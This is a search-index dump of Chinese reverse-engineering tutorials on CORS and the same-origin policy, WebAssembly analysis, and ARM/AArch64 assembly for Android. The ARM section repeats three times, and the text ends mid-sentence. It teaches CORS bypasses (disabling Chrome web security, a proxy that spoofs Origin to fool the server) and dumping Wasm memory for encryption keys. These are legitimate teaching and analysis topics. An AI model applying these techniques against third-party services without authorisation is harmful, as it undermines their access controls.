与同源策略","uri":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/#cors-与同源策略"},{"categories":null,"collections":null,"content":"概述 同源策略 (Same-Origin Policy, SOP) 是浏览器最核心的安全机制，而 CORS (Cross-Origin Resource Sharing) 是 SOP 的各种 “例外” 之一。理解它们对于调试 API 请求失败、跨域注入攻击以及本地搭建测试环境至关重要。 ","date":"2024-07-29","objectID":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/:1:0","tags":["Web","HTTP","代理池","JavaScript","基础知识","DEX"],"title":"CORS 与同源策略","uri":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/#概述"},{"categories":null,"collections":null,"content":"同源策略 (SOP) ","date":"2024-07-29","objectID":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/:2:0","tags":["Web","HTTP","代理池","JavaScript","基础知识","DEX"],"title":"CORS 与同源策略","uri":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/#同源策略-sop"},{"categories":null,"collections":null,"content":"1. 定义 两个 URL 说它们是“同源”的，必须满足三个条件完全相同： 协议 (Protocol): 都是 http 或都是 https。 域名 (Domain): 如 www.example.com。 端口 (Port): 如 80, 443。 如果不同源，浏览器会限制： Cookie, LocalStorage, IndexedDB 读取。 DOM 访问 (如 iframe)。 AJAX 请求发送 (实际上请求通常能发出，但响应会被浏览器拦截，除非服务器允许 CORS)。 ","date":"2024-07-29","objectID":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/:2:1","tags":["Web","HTTP","代理池","JavaScript","基础知识","DEX"],"title":"CORS 与同源策略","uri":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/#1-定义"},{"categories":null,"collections":null,"content":"2. [Reverse Engineering Context] 为什么我的本地测试失败了？ 很多时候，你把别人的 JS 代码 down 下来，在本地开个 file:// 或 localhost:8000 运行，结果发现 API 请求全都报红： Access to fetch at ... from origin ... has been blocked by CORS policy。 原因: 目标服务器只允许特定的域名（它的官网）访问，你的 localhost 不是它允许的源。 ","date":"2024-07-29","objectID":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/:2:2","tags":["Web","HTTP","代理池","JavaScript","基础知识","DEX"],"title":"CORS 与同源策略","uri":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/#2-reverse-engineering-context-为什么我的本地测试失败了"},{"categories":null,"collections":null,"content":"CORS (跨域资源共享) CORS 是一种机制，它使用额外的 HTTP 头来告诉浏览器：让运行在一个 origin (domain) 上的 Web 应用被准许访问来自不同源服务器上的指定的资源。 ","date":"2024-07-29","objectID":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/:3:0","tags":["Web","HTTP","代理池","JavaScript","基础知识","DEX"],"title":"CORS 与同源策略","uri":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/#cors-跨域资源共享"},{"categories":null,"collections":null,"content":"1. 简单请求 vs 预检请求 简单请求: (GET, POST, HEAD, 且 Content-Type 是 application/x-www-form-urlencoded, multipart/form-data, text/plain 之一)。 浏览器直接发请求。 看响应头有没有 Access-Control-Allow-Origin。 预检请求 (Preflight): (带自定义 Header, 或 Content-Type 是 application/json 等)。 浏览器先发一个 OPTIONS 方法的请求。 服务器同意了 (Access-Control-Allow-Methods, Access-Control-Allow-Headers)，浏览器才发真正的请求。 ","date":"2024-07-29","objectID":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/:3:1","tags":["Web","HTTP","代理池","JavaScript","基础知识","DEX"],"title":"CORS 与同源策略","uri":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/#1-简单请求-vs-预检请求"},{"categories":null,"collections":null,"content":"2. 关键响应头 Access-Control-Allow-Origin: * 或 https://your-site.com。 Access-Control-Allow-Credentials: true (允许带 Cookie)。 ","date":"2024-07-29","objectID":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/:3:2","tags":["Web","HTTP","代理池","JavaScript","基础知识","DEX"],"title":"CORS 与同源策略","uri":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/#2-关键响应头"},{"categories":null,"collections":null,"content":"逆向中的 CORS 绕过技巧 当你需要本地调试目标网站的 API，或者在自己的网站上调用别人的 API 时，必须处理 CORS。 ","date":"2024-07-29","objectID":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/:4:0","tags":["Web","HTTP","代理池","JavaScript","基础知识","DEX"],"title":"CORS 与同源策略","uri":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/#逆向中的-cors-绕过技巧"},{"categories":null,"collections":null,"content":"1. 浏览器插件 / 启动参数 最简单的方法是关掉浏览器的安全策略（仅限调试用！）。 Chrome 启动参数: --disable-web-security --user-data-dir=\"/tmp/xxxx\"。 ","date":"2024-07-29","objectID":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/:4:1","tags":["Web","HTTP","代理池","JavaScript","基础知识","DEX"],"title":"CORS 与同源策略","uri":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/#1-浏览器插件--启动参数"},{"categories":null,"collections":null,"content":"2. 配置反向代理 (Reverse Proxy) 这是最稳健的方法。使用 Nginx 或 Node.js 中间件，把你的请求“伪装”成同源。 场景: 本地开发环境: localhost:3000 目标 API: api.target.com Node.js 代理 (http-proxy-middleware): // 你发给 localhost:3000/api/xxx // 代理转发给 api.target.com/api/xxx // 并在转发时修改 Origin 头，欺骗服务器 pathRewrite: {'^/api': ''}, changeOrigin: true, // 关键：把请求头中的 Host/Origin 修改为目标域名 ","date":"2024-07-29","objectID":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/:4:2","tags":["Web","HTTP","代理池","JavaScript","基础知识","DEX"],"title":"CORS 与同源策略","uri":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/#2-配置反向代理-reverse-proxy"},{"categories":null,"collections":null,"content":"3. JSONP (过时但仍存在) 老旧的跨域方案，利用 \u003cscript\u003e 标签不受 SOP 限制的特性。 特征: URL 里有个 callback=xxx。 逆向: 直接把 URL 里的 callback 改成你自己的函数名，或者直接请求拿到 JS 代码里面就是数据。 ","date":"2024-07-29","objectID":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/:4:3","tags":["Web","HTTP","代理池","JavaScript","基础知识","DEX"],"title":"CORS 与同源策略","uri":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/#3-jsonp-过时但仍存在"},{"categories":null,"collections":null,"content":"总结 SOP 是浏览器的“围墙”，CORS 是墙上的“门”。 正向开发: 配置服务器开门。 逆向分析: 既然墙是浏览器建的，那不管是关掉浏览器的墙（启动参数），还是骗服务器我是自己人（代理修改 Origin），目标都是为了让数据流通。 ","date":"2024-07-29","objectID":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/:5:0","tags":["Web","HTTP","代理池","JavaScript","基础知识","DEX"],"title":"CORS 与同源策略","uri":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/#总结"},{"categories":null,"collections":null,"content":"WebAssembly 基础 ","date":"2024-07-27","objectID":"/reverse_engineering/web/01-foundations/webassembly_basics/:0:0","tags":["Web","HTTP","Ghidra","WebAssembly","JavaScript","加密分析"],"title":"WebAssembly 基础","uri":"/reverse_engineering/web/01-foundations/webassembly_basics/#webassembly-基础"},{"categories":null,"collections":null,"content":"概述 WebAssembly (Wasm) 是一种二进制指令格式，允许在 Web 上运行高性能代码（如 C/C++/Rust 编译而来）。随着越来越多的核心算法（加密、解码、复杂逻辑）被迁移到 Wasm，逆向 Wasm 已成为现代 Web 逆向的必备技能。 ","date":"2024-07-27","objectID":"/reverse_engineering/web/01-foundations/webassembly_basics/:1:0","tags":["Web","HTTP","Ghidra","WebAssembly","JavaScript","加密分析"],"title":"WebAssembly 基础","uri":"/reverse_engineering/web/01-foundations/webassembly_basics/#概述"},{"categories":null,"collections":null,"content":"Wasm 是什么？ ","date":"2024-07-27","objectID":"/reverse_engineering/web/01-foundations/webassembly_basics/:2:0","tags":["Web","HTTP","Ghidra","WebAssembly","JavaScript","加密分析"],"title":"WebAssembly 基础","uri":"/reverse_engineering/web/01-foundations/webassembly_basics/#wasm-是什么"},{"categories":null,"collections":null,"content":"1. 核心特性 二进制格式 (.wasm): 紧凑，加载快，但不可读。 文本格式 (.wat): Wasm 的汇编形式，S-expression 风格，可读性尚可。 线性内存 (Linear Memory): Wasm 只能访问一块连续的 ArrayBuffer，通过下标读写。 栈式虚拟机: 指令基于操作数栈，例如 i32.add 会从栈顶弹出两个数，相加后结果压栈。 ","date":"2024-07-27","objectID":"/reverse_engineering/web/01-foundations/webassembly_basics/:2:1","tags":["Web","HTTP","Ghidra","WebAssembly","JavaScript","加密分析"],"title":"WebAssembly 基础","uri":"/reverse_engineering/web/01-foundations/webassembly_basics/#1-核心特性"},{"categories":null,"collections":null,"content":"2. JS 与 Wasm 互操作 Wasm 模块需要 JS 来加载和实例化。 // 这里可以 Hook ! WebAssembly.instantiate(buffer, imports).then((results) =\u003e { // results.instance.exports 包含 Wasm 导出的函数 }); ","date":"2024-07-27","objectID":"/reverse_engineering/web/01-foundations/webassembly_basics/:2:2","tags":["Web","HTTP","Ghidra","WebAssembly","JavaScript","加密分析"],"title":"WebAssembly 基础","uri":"/reverse_engineering/web/01-foundations/webassembly_basics/#2-js-与-wasm-互操作"},{"categories":null,"collections":null,"content":"Wasm 逆向流程 ","date":"2024-07-27","objectID":"/reverse_engineering/web/01-foundations/webassembly_basics/:3:0","tags":["Web","HTTP","Ghidra","WebAssembly","JavaScript","加密分析"],"title":"WebAssembly 基础","uri":"/reverse_engineering/web/01-foundations/webassembly_basics/#wasm-逆向流程"},{"categories":null,"collections":null,"content":"1. 获取 Wasm 文件 通常在 Network 面板可以看到 .wasm 文件的请求。 注意: 有些站点会将 Wasm 二进制数据硬编码在 JS 字符串或 ArrayBuffer 中，然后动态加载。可以通过 Hook WebAssembly.instantiate 来捕获 buffer。 ","date":"2024-07-27","objectID":"/reverse_engineering/web/01-foundations/webassembly_basics/:3:1","tags":["Web","HTTP","Ghidra","WebAssembly","JavaScript","加密分析"],"title":"WebAssembly 基础","uri":"/reverse_engineering/web/01-foundations/webassembly_basics/#1-获取-wasm-文件"},{"categories":null,"collections":null,"content":"2. 静态分析 (Disassembly / Decompilation) 拿到 .wasm 文件后，需要将其还原为可读代码。 wasm2wat (WABT 工具包): 转换为 .wat 汇编。 (func $add (param $p0 i32) (param $p1 i32) (result i32) local.get $p0 local.get $p1 i32.add) Decompilers (反编译器): 尝试还原为类 C 代码（伪代码）。 JEB Decompiler: 商业软件，反编译效果较好。 Ghidra: 需要安装 Wasm 插件。 wasm-decompile: WABT 自带，输出类似 C 的伪代码。 ","date":"2024-07-27","objectID":"/reverse_engineering/web/01-foundations/webassembly_basics/:3:2","tags":["Web","HTTP","Ghidra","WebAssembly","JavaScript","加密分析"],"title":"WebAssembly 基础","uri":"/reverse_engineering/web/01-foundations/webassembly_basics/#2-静态分析-disassembly--decompilation"},{"categories":null,"collections":null,"content":"3. 动态调试 Chrome DevTools 已经很好地支持 Wasm 调试。 Sources 面板 -\u003e 找到 wasm 文件（通常在 wasm:// 协议下）。 点击代码行号下断点。 单步调试，观察 Stack（栈）和 Memory（内存）的变化。 ","date":"2024-07-27","objectID":"/reverse_engineering/web/01-foundations/webassembly_basics/:3:3","tags":["Web","HTTP","Ghidra","WebAssembly","JavaScript","加密分析"],"title":"WebAssembly 基础","uri":"/reverse_engineering/web/01-foundations/webassembly_basics/#3-动态调试"},{"categories":null,"collections":null,"content":"关键逆向技巧 ","date":"2024-07-27","objectID":"/reverse_engineering/web/01-foundations/webassembly_basics/:4:0","tags":["Web","HTTP","Ghidra","WebAssembly","JavaScript","加密分析"],"title":"WebAssembly 基础","uri":"/reverse_engineering/web/01-foundations/webassembly_basics/#关键逆向技巧"},{"categories":null,"collections":null,"content":"1. 寻找导出函数 (Exports) Wasm 模块通常会导出一个入口函数给 JS 调用（如 encrypt, hash）。这是我们分析的起点。 ","date":"2024-07-27","objectID":"/reverse_engineering/web/01-foundations/webassembly_basics/:4:1","tags":["Web","HTTP","Ghidra","WebAssembly","JavaScript","加密分析"],"title":"WebAssembly 基础","uri":"/reverse_engineering/web/01-foundations/webassembly_basics/#1-寻找导出函数-exports"},{"categories":null,"collections":null,"content":"2. 分析导入函数 (Imports) Wasm 经常需要调用 JS 函数（因为 Wasm 不能直接操作 DOM 或发送网络请求）。 查看 Imports 列表，如果发现导入了 console.log 或者网络相关的 JS 函数，可以在这些 JS 函数上 Hook，从而窥探 Wasm 内部状态。 ","date":"2024-07-27","objectID":"/reverse_engineering/web/01-foundations/webassembly_basics/:4:2","tags":["Web","HTTP","Ghidra","WebAssembly","JavaScript","加密分析"],"title":"WebAssembly 基础","uri":"/reverse_engineering/web/01-foundations/webassembly_basics/#2-分析导入函数-imports"},{"categories":null,"collections":null,"content":"3. 内存视图 Wasm 的内存是一个 WebAssembly.Memory 对象，本质上是 JS 的 ArrayBuffer。 任何时候，你都可以通过 JS 读取这块内存： let mem = instance.exports.memory; let view = new Uint8Array(mem.buffer); console.log(view.slice(0, 100)); // 查看前100字节 如果 Wasm 在进行加密操作，密钥往往就在这块内存里。 ","date":"2024-07-27","objectID":"/reverse_engineering/web/01-foundations/webassembly_basics/:4:3","tags":["Web","HTTP","Ghidra","WebAssembly","JavaScript","加密分析"],"title":"WebAssembly 基础","uri":"/reverse_engineering/web/01-foundations/webassembly_basics/#3-内存视图"},{"categories":null,"collections":null,"content":"总结 Wasm 逆向 = 二进制分析 (IDA/Ghidra) + Web 动态调试 (DevTools)。虽然门槛比纯 JS 逆向高，但核心逻辑依然是：输入 -\u003e [黑盒处理] -\u003e 输出。只要能控制输入输出，并有能力窥探黑盒内部（Hook Imports, Dump Memory），就能攻克。 ","date":"2024-07-27","objectID":"/reverse_engineering/web/01-foundations/webassembly_basics/:5:0","tags":["Web","HTTP","Ghidra","WebAssembly","JavaScript","加密分析"],"title":"WebAssembly 基础","uri":"/reverse_engineering/web/01-foundations/webassembly_basics/#总结"},{"categories":null,"collections":null,"content":"ARM 汇编入门 (Android Native) 当应用的核心逻辑、加密算法或性能密集型任务用 C/C++ 编写时，它们会被编译成原生库 (.so 文件)。在 Android 上，这些库主要是 ARM 架构的。理解 ARM 汇编是分析 .so 文件的基础。本指南将介绍逆向工程师需要了解的 ARMv7 (32-bit) 和 ARMv8 (64-bit/A64) 的基础知识。 思考：为什么必须学习汇编？ 当你遇到以下场景时，该如何应对？ 用 Jadx 打开 APK，发现关键的加密逻辑都在 native 方法中 Frida Hook 到了某个 JNI 函数，但参数是指针，不知道如何读取 IDA 打开 .so 文件，满屏的汇编指令让你无从下手 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:0:0","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#arm-汇编入门-android-native"},{"categories":null,"collections":null,"content":"这些场景的共同点是：核心逻辑被编译成了机器码。不理解汇编，就像试图在不懂外语的情况下阅读外文书籍——你只能靠猜。 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:0","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#这些场景的共同点是核心逻辑被编译成了机器码不理解汇编就像试图在不懂外语的情况下阅读外文书籍你只能靠猜"},{"categories":null,"collections":null,"content":"基本概念：ARM vs x86 RISC vs CISC: ARM 是精简指令集计算机 (RISC)，指令长度固定，种类较少，操作简单。x86 是复杂指令集计算机 (CISC)。 Load/Store 架构: ARM 是一种\"加载/存储\"架构。这意味着数据处理（如加法、减法）只能在寄存器之间进行。你必须先用加载指令 (LDR) 将内存中的数据加载到寄存器，计算完成后再用存储指令 (STR) 将结果存回内存。 指令模式: ARMv7 (32-bit) 支持两种指令集： ARM: 32-bit 定长指令，功能强大。 Thumb: 16-bit/32-bit 变长指令，代码密度更高，是移动设备上的主流。在 IDA 等工具中，你通常会分析 Thumb 模式下的代码。 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:1","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#基本概念arm-vs-x86"},{"categories":null,"collections":null,"content":"ARM 与 ARM64 (AArch64) 架构 在 Android 逆向中，你会同时遇到 32 位 (ARMv7/armeabi-v7a) 和 64 位 (ARMv8/arm64-v8a) 的 .so 文件。现代设备几乎都是 64 位，但很多应用为了兼容性仍然提供 32 位库。 ARM 32-bit (ARMv7) 寄存器模型 共有 16 个通用寄存器 (R0 - R15)，加上一个当前程序状态寄存器 (CPSR)。 寄存器 别名 用途 R0 - R3 A1 - A4 参数寄存器 (Argument)。用于传递函数的前 4 个参数。R0 也用作返回值寄存器。 R4 - R11 V1 - V8 变量寄存器 (Variable)。被调用者保存，用于保存函数的局部变量。 R12 IP 过程调用间临时寄存器 (Intra-Procedure call scratch register)。 R13 SP 栈指针 (Stack Pointer)。指向栈顶，8 字节对齐。 R14 LR 链接寄存器 (Link Register)。存储函数调用的返回地址。 R15 PC 程序计数器 (Program Counter)。指向当前正在执行的指令地址 +8 (ARM) 或 +4 (Thumb)。 CPSR (当前程序状态寄存器) CPSR 存储了条件标志位和处理器状态信息。条件分支指令正是根据 CPSR 中的标志位来决定是否跳转的。 标志位 名称 含义 N Negative 运算结果为负数时置 1 Z Zero 运算结果为零时置 1 C Carry 无符号运算产生进位/借位时置 1 V Overflow 有符号运算产生溢出时置 1 T Thumb 处理器处于 Thumb 模式时置 1，ARM 模式时为 0 快速定位关键寄存器 在分析一个陌生函数时，如何快速抓住重点？ 函数入口：先看 R0-R3 (32 位) 或 X0-X7 (64 位)，这些是参数 函数返回：关注 R0/X0，这是返回值存放的地方 函数调用：BL 指令前后，检查参数寄存器的变化 栈操作：SP 的变化反映了局部变量的分配 这种\"重点优先\"的阅读策略，能让你快速理解函数的输入输出，而不必逐行分析每条指令。 ARM 64-bit (AArch64) 寄存器模型 AArch64 有 31 个通用寄存器，设计比 ARM32 更加规整。 寄存器 64 位名 32 位名 用途 第 0-7 号 X0-X7 W0-W7 参数/返回值寄存器。传递前 8 个参数，X0 也是返回值。 第 8 号 X8 W8 间接结果位置寄存器 (用于返回大结构体)。 第 9-15 号 X9-X15 W9-W15 调用者保存的临时寄存器 (Caller-saved)。函数可自由修改。 第 16-17 号 X16-X17 W16-W17 IP0/IP1，过程内调用临时寄存器（链接器使用）。 第 18 号 X18 W18 平台寄存器。Android 上被保留给 TLS (线程本地存储)。 第 19-28 号 X19-X28 W19-W28 被调用者保存的寄存器 (Callee-saved)。函数使用前必须保存。 第 29 号 X29 W29 帧指针 FP (Frame Pointer)。 第 30 号 X30 W30 链接寄存器 LR (Link Register)。 — SP WSP 栈指针。不是通用寄存器，有专门的编码。 — XZR WZR 零寄存器。读取永远返回 0，写入被丢弃。 W 寄存器与 X 寄存器的关系 W 寄存器是对应 X 寄存器的低 32 位视图。当你写入一个 W 寄存器时，高 32 位会被自动清零。 ; X0 = 0x00000001_FFFFFFFF MOV W0, #0x42 ; X0 变为 0x00000000_00000042 (高32位被清零) MOV X0, #0x42 ; X0 变为 0x00000000_00000042 (整个64位赋值) NZCV (AArch64 条件标志) AArch64 中条件标志存储在 NZCV 系统寄存器中，功能与 ARM32 的 CPSR 标志位相同： CMP X0, X1 ; 执行 X0 - X1，更新 NZCV 标志 B.EQ label ; 如果 Z=1 (相等) 则跳转 B.NE label ; 如果 Z=0 (不等) 则跳转 B.GT label ; 如果有符号大于 则跳转 B.LT label ; 如果有符号小于 则跳转 B.HI label ; 如果无符号大于 则跳转 B.LO label ; 如果无符号小于 则跳转 (等同于 B.CC) 栈指针 (SP) 要求 在 AArch64 中，栈指针必须16 字节对齐。这意味着 SUB SP, SP, #N 中的 N 必须是 16 的倍数，否则会触发对齐异常。这是初学者容易忽略的重要细节。 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:2","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#arm-与-arm64-aarch64-架构"},{"categories":null,"collections":null,"content":"ARM 与 ARM64 (AArch64) 架构 在 Android 逆向中，你会同时遇到 32 位 (ARMv7/armeabi-v7a) 和 64 位 (ARMv8/arm64-v8a) 的 .so 文件。现代设备几乎都是 64 位，但很多应用为了兼容性仍然提供 32 位库。 ARM 32-bit (ARMv7) 寄存器模型 共有 16 个通用寄存器 (R0 - R15)，加上一个当前程序状态寄存器 (CPSR)。 寄存器 别名 用途 R0 - R3 A1 - A4 参数寄存器 (Argument)。用于传递函数的前 4 个参数。R0 也用作返回值寄存器。 R4 - R11 V1 - V8 变量寄存器 (Variable)。被调用者保存，用于保存函数的局部变量。 R12 IP 过程调用间临时寄存器 (Intra-Procedure call scratch register)。 R13 SP 栈指针 (Stack Pointer)。指向栈顶，8 字节对齐。 R14 LR 链接寄存器 (Link Register)。存储函数调用的返回地址。 R15 PC 程序计数器 (Program Counter)。指向当前正在执行的指令地址 +8 (ARM) 或 +4 (Thumb)。 CPSR (当前程序状态寄存器) CPSR 存储了条件标志位和处理器状态信息。条件分支指令正是根据 CPSR 中的标志位来决定是否跳转的。 标志位 名称 含义 N Negative 运算结果为负数时置 1 Z Zero 运算结果为零时置 1 C Carry 无符号运算产生进位/借位时置 1 V Overflow 有符号运算产生溢出时置 1 T Thumb 处理器处于 Thumb 模式时置 1，ARM 模式时为 0 快速定位关键寄存器 在分析一个陌生函数时，如何快速抓住重点？ 函数入口：先看 R0-R3 (32 位) 或 X0-X7 (64 位)，这些是参数 函数返回：关注 R0/X0，这是返回值存放的地方 函数调用：BL 指令前后，检查参数寄存器的变化 栈操作：SP 的变化反映了局部变量的分配 这种\"重点优先\"的阅读策略，能让你快速理解函数的输入输出，而不必逐行分析每条指令。 ARM 64-bit (AArch64) 寄存器模型 AArch64 有 31 个通用寄存器，设计比 ARM32 更加规整。 寄存器 64 位名 32 位名 用途 第 0-7 号 X0-X7 W0-W7 参数/返回值寄存器。传递前 8 个参数，X0 也是返回值。 第 8 号 X8 W8 间接结果位置寄存器 (用于返回大结构体)。 第 9-15 号 X9-X15 W9-W15 调用者保存的临时寄存器 (Caller-saved)。函数可自由修改。 第 16-17 号 X16-X17 W16-W17 IP0/IP1，过程内调用临时寄存器（链接器使用）。 第 18 号 X18 W18 平台寄存器。Android 上被保留给 TLS (线程本地存储)。 第 19-28 号 X19-X28 W19-W28 被调用者保存的寄存器 (Callee-saved)。函数使用前必须保存。 第 29 号 X29 W29 帧指针 FP (Frame Pointer)。 第 30 号 X30 W30 链接寄存器 LR (Link Register)。 — SP WSP 栈指针。不是通用寄存器，有专门的编码。 — XZR WZR 零寄存器。读取永远返回 0，写入被丢弃。 W 寄存器与 X 寄存器的关系 W 寄存器是对应 X 寄存器的低 32 位视图。当你写入一个 W 寄存器时，高 32 位会被自动清零。 ; X0 = 0x00000001_FFFFFFFF MOV W0, #0x42 ; X0 变为 0x00000000_00000042 (高32位被清零) MOV X0, #0x42 ; X0 变为 0x00000000_00000042 (整个64位赋值) NZCV (AArch64 条件标志) AArch64 中条件标志存储在 NZCV 系统寄存器中，功能与 ARM32 的 CPSR 标志位相同： CMP X0, X1 ; 执行 X0 - X1，更新 NZCV 标志 B.EQ label ; 如果 Z=1 (相等) 则跳转 B.NE label ; 如果 Z=0 (不等) 则跳转 B.GT label ; 如果有符号大于 则跳转 B.LT label ; 如果有符号小于 则跳转 B.HI label ; 如果无符号大于 则跳转 B.LO label ; 如果无符号小于 则跳转 (等同于 B.CC) 栈指针 (SP) 要求 在 AArch64 中，栈指针必须16 字节对齐。这意味着 SUB SP, SP, #N 中的 N 必须是 16 的倍数，否则会触发对齐异常。这是初学者容易忽略的重要细节。 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:2","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#arm-32-bit-armv7-寄存器模型"},{"categories":null,"collections":null,"content":"ARM 与 ARM64 (AArch64) 架构 在 Android 逆向中，你会同时遇到 32 位 (ARMv7/armeabi-v7a) 和 64 位 (ARMv8/arm64-v8a) 的 .so 文件。现代设备几乎都是 64 位，但很多应用为了兼容性仍然提供 32 位库。 ARM 32-bit (ARMv7) 寄存器模型 共有 16 个通用寄存器 (R0 - R15)，加上一个当前程序状态寄存器 (CPSR)。 寄存器 别名 用途 R0 - R3 A1 - A4 参数寄存器 (Argument)。用于传递函数的前 4 个参数。R0 也用作返回值寄存器。 R4 - R11 V1 - V8 变量寄存器 (Variable)。被调用者保存，用于保存函数的局部变量。 R12 IP 过程调用间临时寄存器 (Intra-Procedure call scratch register)。 R13 SP 栈指针 (Stack Pointer)。指向栈顶，8 字节对齐。 R14 LR 链接寄存器 (Link Register)。存储函数调用的返回地址。 R15 PC 程序计数器 (Program Counter)。指向当前正在执行的指令地址 +8 (ARM) 或 +4 (Thumb)。 CPSR (当前程序状态寄存器) CPSR 存储了条件标志位和处理器状态信息。条件分支指令正是根据 CPSR 中的标志位来决定是否跳转的。 标志位 名称 含义 N Negative 运算结果为负数时置 1 Z Zero 运算结果为零时置 1 C Carry 无符号运算产生进位/借位时置 1 V Overflow 有符号运算产生溢出时置 1 T Thumb 处理器处于 Thumb 模式时置 1，ARM 模式时为 0 快速定位关键寄存器 在分析一个陌生函数时，如何快速抓住重点？ 函数入口：先看 R0-R3 (32 位) 或 X0-X7 (64 位)，这些是参数 函数返回：关注 R0/X0，这是返回值存放的地方 函数调用：BL 指令前后，检查参数寄存器的变化 栈操作：SP 的变化反映了局部变量的分配 这种\"重点优先\"的阅读策略，能让你快速理解函数的输入输出，而不必逐行分析每条指令。 ARM 64-bit (AArch64) 寄存器模型 AArch64 有 31 个通用寄存器，设计比 ARM32 更加规整。 寄存器 64 位名 32 位名 用途 第 0-7 号 X0-X7 W0-W7 参数/返回值寄存器。传递前 8 个参数，X0 也是返回值。 第 8 号 X8 W8 间接结果位置寄存器 (用于返回大结构体)。 第 9-15 号 X9-X15 W9-W15 调用者保存的临时寄存器 (Caller-saved)。函数可自由修改。 第 16-17 号 X16-X17 W16-W17 IP0/IP1，过程内调用临时寄存器（链接器使用）。 第 18 号 X18 W18 平台寄存器。Android 上被保留给 TLS (线程本地存储)。 第 19-28 号 X19-X28 W19-W28 被调用者保存的寄存器 (Callee-saved)。函数使用前必须保存。 第 29 号 X29 W29 帧指针 FP (Frame Pointer)。 第 30 号 X30 W30 链接寄存器 LR (Link Register)。 — SP WSP 栈指针。不是通用寄存器，有专门的编码。 — XZR WZR 零寄存器。读取永远返回 0，写入被丢弃。 W 寄存器与 X 寄存器的关系 W 寄存器是对应 X 寄存器的低 32 位视图。当你写入一个 W 寄存器时，高 32 位会被自动清零。 ; X0 = 0x00000001_FFFFFFFF MOV W0, #0x42 ; X0 变为 0x00000000_00000042 (高32位被清零) MOV X0, #0x42 ; X0 变为 0x00000000_00000042 (整个64位赋值) NZCV (AArch64 条件标志) AArch64 中条件标志存储在 NZCV 系统寄存器中，功能与 ARM32 的 CPSR 标志位相同： CMP X0, X1 ; 执行 X0 - X1，更新 NZCV 标志 B.EQ label ; 如果 Z=1 (相等) 则跳转 B.NE label ; 如果 Z=0 (不等) 则跳转 B.GT label ; 如果有符号大于 则跳转 B.LT label ; 如果有符号小于 则跳转 B.HI label ; 如果无符号大于 则跳转 B.LO label ; 如果无符号小于 则跳转 (等同于 B.CC) 栈指针 (SP) 要求 在 AArch64 中，栈指针必须16 字节对齐。这意味着 SUB SP, SP, #N 中的 N 必须是 16 的倍数，否则会触发对齐异常。这是初学者容易忽略的重要细节。 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:2","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#arm-64-bit-aarch64-寄存器模型"},{"categories":null,"collections":null,"content":"指令集详解 数据处理指令 ; === 移动指令 === MOV R1, R2 ; R1 = R2 MOV X1, X2 ; X1 = X2 (AArch64) MOV R0, #0xFF ; R0 = 255 (立即数) MVN R0, R1 ; R0 = ~R1 (按位取反) MOVZ X0, #0x1234 ; X0 = 0x1234 (将16位立即数放入寄存器，其余位清零) MOVK X0, #0x5678, LSL #16 ; 将 0x5678 放到 X0 的 [31:16] 位，保持其他位不变 ; === 算术指令 === ADD R0, R1, R2 ; R0 = R1 + R2 ADDS R0, R1, R2 ; R0 = R1 + R2，并更新 CPSR 标志位 (注意末尾的 S) SUB R0, R1, R2 ; R0 = R1 - R2 RSB R0, R1, #0 ; R0 = 0 - R1 (反向减法，常用于取负数) MUL R0, R1, R2 ; R0 = R1 * R2 SDIV X0, X1, X2 ; X0 = X1 / X2 (有符号除法，AArch64) ; === 逻辑指令 === AND R0, R1, #0xFF ; R0 = R1 \u0026 0xFF (按位与) ORR R0, R1, R2 ; R0 = R1 | R2 (按位或) EOR R0, R1, R2 ; R0 = R1 ^ R2 (按位异或) BIC R0, R1, R2 ; R0 = R1 \u0026 ~R2 (位清除) TST R0, #0x1 ; 测试 R0 的最低位 (AND 但不存储结果，只更新标志) ; === 移位指令 === LSL R0, R1, #3 ; R0 = R1 \u003c\u003c 3 (逻辑左移) LSR R0, R1, #3 ; R0 = 